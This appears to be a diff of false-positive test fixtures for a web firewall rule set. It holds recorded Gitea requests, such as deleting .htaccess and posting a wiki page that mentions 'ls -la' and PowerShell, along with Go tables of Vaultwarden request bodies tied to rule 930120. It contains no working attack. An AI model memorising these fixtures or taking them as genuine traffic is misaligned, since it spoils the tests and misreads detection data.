{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
@@ -91,17 +91,6 @@
|
|||||||
/explore/organizations?q=docker-ci
|
/explore/organizations?q=docker-ci
|
||||||
/api/v1/users/search?q=docker-ci
|
/api/v1/users/search?q=docker-ci
|
||||||
|
|
||||||
# Searches of the repositories on a user's and an organisation's page, recorded
|
|
||||||
# from gitea 1.27.3.
|
|
||||||
/alice?tab=repositories&q=ls+-la&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=python3&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=powershell&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=.htaccess&sort=recentupdate
|
|
||||||
/acme?q=ls+-la&sort=recentupdate
|
|
||||||
/acme?q=python3&sort=recentupdate
|
|
||||||
/acme?q=powershell&sort=recentupdate
|
|
||||||
/acme?q=.htaccess&sort=recentupdate
|
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
@@ -68,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
|
|||||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
||||||
http.MethodPut,
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
||||||
vaultwardenProfile,
|
|
||||||
jsonBody,
|
|
||||||
`{"name":"VALUE","culture":"en-US"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenPassword,
|
|
||||||
jsonBody,
|
|
||||||
`{"masterPasswordHint":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/organizations", jsonBody,
|
http.MethodPost, "/api/organizations", jsonBody,
|
||||||
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||||
{
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
||||||
vaultwardenOrganization + "/groups",
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
||||||
jsonBody,
|
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||||
`{"name":"VALUE"}`,
|
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"invitation_org_name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"smtp_from_name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSecurityKey,
|
|
||||||
jsonBody,
|
|
||||||
`{"id":1,"name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
vaultwardenSecurityKey,
|
|
||||||
jsonBody,
|
|
||||||
`{"id":1,"name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
||||||
@@ -126,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
|
|||||||
http.MethodPost, "/identity/connect/token", formData,
|
http.MethodPost, "/identity/connect/token", formData,
|
||||||
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
||||||
http.MethodPost,
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
||||||
"/identity/accounts/prelogin/password",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSignUp,
|
|
||||||
jsonBody,
|
|
||||||
`{"email":"VALUE","name":"Alice"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||||
{
|
{
|
||||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
@@ -151,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
|
|||||||
http.MethodPost, vaultwardenPassword, jsonBody,
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||||
`{"authenticationData":{"salt":"VALUE"}}`,
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenPassword,
|
|
||||||
jsonBody,
|
|
||||||
`{"unlockData":{"salt":"VALUE"}}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
||||||
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
||||||
},
|
},
